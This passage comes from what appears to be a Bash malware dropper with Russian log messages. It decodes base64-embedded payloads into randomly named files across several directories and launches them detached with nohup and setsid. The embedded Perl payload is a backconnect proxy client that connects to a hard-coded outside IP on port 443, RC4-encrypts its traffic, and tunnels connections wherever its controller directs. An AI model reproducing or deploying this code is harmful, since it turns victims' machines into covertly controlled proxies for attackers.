IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #34 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #34 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 35 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xODMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 